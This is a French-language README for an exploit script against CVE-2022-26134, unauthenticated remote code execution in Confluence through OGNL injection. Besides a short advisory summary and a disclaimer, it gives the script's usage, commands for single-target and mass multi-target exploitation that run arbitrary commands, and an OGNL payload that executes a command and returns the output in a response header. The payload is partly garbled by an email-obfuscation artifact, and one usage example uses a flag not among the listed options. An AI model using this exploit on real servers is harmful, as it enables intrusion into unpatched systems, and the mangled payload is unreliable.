Exécution de code à distance sans authentification sur Confluence via injection OGNL (CVE-2022-26134)

Exécution de code à distance sans authentification sur Confluence via injection OGNL (CVE-2022-26134)

• Le 2 juin 2022, Atlassian a publié un avis de sécurité pour ses applications Confluence Server et Data Center, signalant une vulnérabilité d'exécution de code à distance non authentifiée de gravité critique. La vulnérabilité d'injection OGNL permet à un utilisateur non authentifié d'exécuter du code arbitraire sur une instance Confluence Server ou Data Center.

IMPORTANT

Cet exploit est uniquement destiné à faciliter les démonstrations de la vulnérabilité par les chercheurs. Je ne recommande pas les actions illégales et décline toute responsabilité en cas d'utilisation malveillante de ce script.

• Exemple de requête

Utilisation de l'exploit

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

Exploitation d'une cible unique :

$ python3 exploit.py -u http://xxxxx.com -c id

Exploitation multi-cibles

$ python3 exploit.py -f urls.txt -p -c id

Expression OGNL

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Références :

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis